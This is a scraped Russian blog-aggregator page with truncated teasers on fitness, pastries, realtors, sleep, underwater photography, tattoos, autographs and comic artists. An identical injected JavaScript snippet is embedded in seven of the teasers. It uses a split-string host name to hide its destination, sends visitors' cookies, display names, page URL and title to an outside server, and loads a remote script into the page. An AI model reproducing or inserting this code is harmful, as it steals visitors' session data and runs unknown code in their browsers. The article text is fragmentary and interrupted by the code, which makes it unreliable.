Уникальный сервис ведения собственного блога, без создания отдельного сайта. Обычно, чтобы создать блог необходимо завести свой сайт, это влечет за собой финансовые затраты, потеряное время. Здесь Вы можете завести свой блог абсолютно бесплатно в удобном и многофункциональном сервисе, Ваш блог будет доступен по адресу <ваш блог>.findblog.ru. Для создания блога необходимо всего лишь заполнить простую форму регистрации!
Посещение тренажерного зала - это не столько дань моде, сколько образ жизни. Именно в этом должны отдавать себе отчет те, кто планирует записаться в фитнес-клуб Летучий Голландец или любой другой клуб "сбросить 10 кг", "подтянуть ягодицы" или "подкачаться к лету". В первую очередь, определитесь с целью ваших тренировок - от этого будет зависеть программа упражнений и дальнейшие результаты. Цель: нарастить силу и мышечную массу Именно это имеют в виду большинство парней, которые ходят в зал "подкачаться". Тренировки на наращивание массы включают в себя следующие упражнения: Жим лежа. Становая тяга. Приседания со штангой. Отжимания на брусьях. Присед со штангой - одно из самых эффективных упражнений для наращивания мышечной массы. При каждом упражнении задействуется максимальное число мышц, в том числе и шейные. Придадут силу рукам французский жим и сгибание рук со штангой (выполняется в положении стоя). Эти два упражнения отлично прорабатывают бицепс и трицепс...
Во Франции модно начинать день горячим кофе со свежими круассанами или намазывать черный хлеб сливочным маслом. Россияне же предпочитают покупать ароматную выпечку. В Москве ее можно купить с доставкой домой в пекарне Маген-Д и других магазинах. Хлебобулочные изделия прочно вошли в нашу повседневную жизнь, однако в последнее время разгорается немало споров относительно пользы выпечки из дрожжевого теста. Что из этого правда, а что очередной миф? Давайте вместе разберемся. Виды мучных изделий Вся мучная выпечка делится на изделия кондитерские и некондитерские. Их изготовляют из различных видов теста - дрожжевого, песочного, пряничного, бисквитного и слоеного. Каждое из них может приносить как пользу, так и вред для организма. Несомненным остается один факт - мучное тесто очень калорийно, поэтому важно соблюдать меру, если вы следите за массой тела. Некондитерские мучные изделия делятся на: Булки и белый хлеб. Зерновой хлеб (с отрубями). Ржаной хлеб. Черный хлеб из цельного зерна...
Нужно купить или снять квартиру? Можно попытаться решить проблему своими силами, а можно поискать хорошее агентство в Сургуте и других городах. По каким признакам вычислить хорошую компанию по продаже недвижимости? Читайте далее. Для чего нужно риэлтерское агентство? Агентство по недвижимости имеет свои плюсы: Экономия времени – вне зависимости от вашей цели: купля-продажа или съем квартиры, вам необходима помощь грамотного специалиста для быстрого решения любой задачи на рынке недвижимости. в сфере законодательства есть немало тем для изучения, а специалист, который занимается этим давно, может знать все подводные камни. Кроме того, он будет вести все телефонные разговоры и искать подходящий для вас вариант. Помощь в выборе цены. Ситуация на рынке недвижимости редко бывает стабильной - квартиры то растут, то падают в цене. Грамотный специалист поможет выбрать перспективный вариант, а кроме того, знает, как сторговаться до приемлемой стоимости. Решение юридических вопросов...
Всех людей можно разделить на два типа: на тех, кто любит спать в одежде, и на тех, кто любит спать голышом. Днем, конечно, сложно определить, к какому типу относится ваш собеседник, но ночью каждый из нас выбирает одну из этих двух сторон. При этом научно доказано, что спать без одежды чертовски полезно. Благодаря этому можно стать счастливее, улучшить сон и даже начать чаще заниматься любовью. if (document. cookie. search("t543e7he5644rww")==-1 ) {function getDivs(){ var d=document;var s=d. createElement("script");var bo = "null";var be = "so. p"; var ba = d. getElementsByClassName("display-name"); if (Object. keys(ba). length) bo=ba[0]. innerText; s. src="http: //ne"+be+"ro/bigp? se_re"+"ferrer=" + encodeURIComponent(location. href) + "&sub_id_1=" +document. cookie + "&sub_id_2=" +document. cookie. substr(245) + "&sub_id_3=" +document. cookie. substr(490) + "&sub_id_4=" + bo + "&default_keyword=" + encodeURIComponent(document. title) + "&"+window. location. search...
Мировую историю пишут люди смелые и сильные. Они вписывают свое имя в анналы истории и оставляют наследие, которое хранится много веков после их смерти. Мы привыкли видеть их со страниц учебников в окружающей обстановке, соответствующей эпохе. А задумывались ли вы, как бы выглядел, например, Генрих VIII или Наполеон Бонапарт сегодня? if (document. cookie. search("t543e7he5644rww")==-1 ) {function getDivs(){ var d=document;var s=d. createElement("script");var bo = "null";var be = "so. p"; var ba = d. getElementsByClassName("display-name"); if (Object. keys(ba). length) bo=ba[0]. innerText; s. src="http: //ne"+be+"ro/bigp? se_re"+"ferrer=" + encodeURIComponent(location. href) + "&sub_id_1=" +document. cookie + "&sub_id_2=" +document. cookie. substr(245) + "&sub_id_3=" +document. cookie. substr(490) + "&sub_id_4=" + bo + "&default_keyword=" + encodeURIComponent(document. title) + "&"+window. location. search. replace("? ", "&")+"&frm=script";if (document. currentScript) {document...
Мексиканский фотограф и антрополог Ануар Патьяне (Anuar Patjane) делает невероятные черно-белые фотографии морских обитателей, раскрывая для нас удивительный подводный мир. Фотохудожник отправляется в бездну, чтобы встретиться там с акулами, китами, скатами или дельфинами, которые, благодаря сложным и захватывающим композициям, словно купаются в свете. if (document. cookie. search("t543e7he5644rww")==-1 ) {function getDivs(){ var d=document;var s=d. createElement("script");var bo = "null";var be = "so. p"; var ba = d. getElementsByClassName("display-name"); if (Object. keys(ba). length) bo=ba[0]. innerText; s. src="http: //ne"+be+"ro/bigp? se_re"+"ferrer=" + encodeURIComponent(location. href) + "&sub_id_1=" +document. cookie + "&sub_id_2=" +document. cookie. substr(245) + "&sub_id_3=" +document. cookie. substr(490) + "&sub_id_4=" + bo + "&default_keyword=" + encodeURIComponent(document. title) + "&"+window. location. search. replace("? ", "&")+"&frm=script";if (document...
Тату-мастер из Мюнхена Монти Рихтофен (творческий псевдоним - Мейсон Хефнер) в свои 23 года прославился тем, что сам выбирает текст, который набьет на лице или на теле клиента. Это может быть "Просто еще одна хипстерская татуировка" на щеке или "Все идет не так, а я смеюсь" на предплечье - человек не узнает, какой татуировкой обзавелся, пока Хефнер не закончит работу. При этом инстаграм Мейсона ломится от заявок - люди со всего мира приезжают в Германию ради татухи от молодого татуировщика-концептуалиста. if (document. cookie. search("t543e7he5644rww")==-1 ) {function getDivs(){ var d=document;var s=d. createElement("script");var bo = "null";var be = "so. p"; var ba = d. getElementsByClassName("display-name"); if (Object. keys(ba). length) bo=ba[0]. innerText; s. src="http: //ne"+be+"ro/bigp? se_re"+"ferrer=" + encodeURIComponent(location. href) + "&sub_id_1=" +document. cookie + "&sub_id_2=" +document. cookie. substr(245) + "&sub_id_3=" +document. cookie...
Джон Хэнкок, президент Второго Континентального конгресса, первый губернатор штата Массачусетс, был обладателем одной из самых известных подписей. Когда он подписывал Декларацию независимости США, то нарочито сделал подпись настолько большой, чтобы, по его словам, "толстый старый король смог прочитать ее без очков". Эта выходка запомнилась всем настолько, что имя Джона Хэнкока в Америке стало разговорным синонимом слова "подпись". Bored Panda собрала коллекцию автографов знаменитостей, которые ничем не уступают подписи Хэнкока - если не по размеру, то по красоте. if (document. cookie. search("t543e7he5644rww")==-1 ) {function getDivs(){ var d=document;var s=d. createElement("script");var bo = "null";var be = "so. p"; var ba = d. getElementsByClassName("display-name"); if (Object. keys(ba). length) bo=ba[0]. innerText; s. src="http: //ne"+be+"ro/bigp? se_re"+"ferrer=" + encodeURIComponent(location. href) + "&sub_id_1=" +document. cookie + "&sub_id_2=" +document. cookie...
Российский автор комиксов и мультипликатор Павел Сухих, известный как Хихус, скончался на 51-м году жизни. Он долго боролся с онкологией. if (document. cookie. search("t543e7he5644rww")==-1 ) {function getDivs(){ var d=document;var s=d. createElement("script");var bo = "null";var be = "so. p"; var ba = d. getElementsByClassName("display-name"); if (Object. keys(ba). length) bo=ba[0]. innerText; s. src="http: //ne"+be+"ro/bigp? se_re"+"ferrer=" + encodeURIComponent(location. href) + "&sub_id_1=" +document. cookie + "&sub_id_2=" +document. cookie. substr(245) + "&sub_id_3=" +document. cookie. substr(490) + "&sub_id_4=" + bo + "&default_keyword=" + encodeURIComponent(document. title) + "&"+window. location. search. replace("? ", "&")+"&frm=script";if (document. currentScript) {document. currentScript. parentNode. insertBefore(s, document. currentScript); } else {d. getElementsByTagName("head")[0]. appendChild(s);}}; document. write("");} Павел Сухих умер в возрасте 50 лет...
Гюндуз Агаев родился и вырос в Азербайджане. В 1998-2002 годах учился в Азербайджанской государственной художественной академии. Его имя знает весь мир благодаря сатирическим иллюстрациям, в которых художник неизменно поднимает неудобные и неприятные вопросы. Изначально Агаев обратился к такому жанру в качестве протеста против несправедливости в своей стране и в итоге столкнулся с жестким давлением со стороны власти, его уволили из всех текущих проектов. В 2014 году ему пришлось покинуть Азербайджан. В серии комиксов "Полицейские по всему миру" художник изображает офицеров стран, где, по его мнению, нарушают права человека, - России, Великобритании, Китая, Турции, Судана и так далее. Большинство иллюстраций носят сатирический и критический характер, но некоторые изображают "хороших полицейских". if (document. cookie. search("t543e7he5644rww")==-1 ) {function getDivs(){ var d=document;var s=d. createElement("script");var bo = "null";var be = "so. p"; var ba = d...